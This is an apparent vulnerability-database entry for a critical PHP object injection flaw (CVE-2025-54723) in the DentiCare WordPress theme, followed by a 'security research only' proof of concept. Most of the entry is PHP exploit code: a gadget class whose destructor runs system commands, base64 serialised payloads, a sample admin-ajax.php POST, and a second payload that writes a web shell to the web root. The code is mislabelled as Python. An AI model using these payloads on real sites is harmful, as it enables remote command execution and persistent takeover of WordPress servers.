Deserialization of Untrusted Data vulnerability in BoldThemes DentiCare denticare allows Object Injection.This issue affects DentiCare: from n/a through < 1.4.3.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
BoldThemes DentiCare < 1.4.3
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
/**
* CVE-2025-54723 PoC - DentiCare PHP Object Injection
* Target: BoldThemes DentiCare WordPress Theme < 1.4.3
* Vulnerability: Unsafe deserialization of untrusted data
*
* This PoC demonstrates the object injection vulnerability.
* Adjust the target URL and payload accordingly.
*/
// Attacker's controlled gadget class for demonstration
class MaliciousPayload {
public $cmd;
public function __destruct() {
// This will be executed during object destruction
system($this->cmd);
}
}
// Generate malicious serialized object
$malicious_object = new MaliciousPayload();
$malicious_object->cmd = 'whoami'; // Command to execute
$payload = serialize($malicious_object);
echo "Malicious Payload (Base64 encoded):\n";
echo base64_encode($payload) . "\n";
echo "\nRaw Payload:\n";
echo $payload . "\n";
/**
* Example attack scenario:
* 1. Identify the deserialization sink in DentiCare theme
* 2. Find an entry point (e.g., POST parameter, Cookie, etc.)
* 3. Send the malicious payload:
*
* POST /wp-admin/admin-ajax.php HTTP/1.1
* Host: target.com
* Content-Type: application/x-www-form-urlencoded
*
* action=denticare_action&data=BASE64_ENCODED_PAYLOAD
*
* 4. The unserialize() call will instantiate the object
* 5. When the script ends, __destruct() is called, executing the command
*/
// Alternative: Using PHP gadget chain (requires available classes)
class FileOperation {
private $filename;
private $data;
public function __construct($filename, $data) {
$this->filename = $filename;
$this->data = $data;
}
public function __destruct() {
// Could be used to write malicious files
file_put_contents($this->filename, $this->data);
}
}
// Generate file write payload
$file_payload = new FileOperation('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>');
echo "\nFile Write Payload (Base64):\n";
echo base64_encode(serialize($file_payload)) . "\n";
?>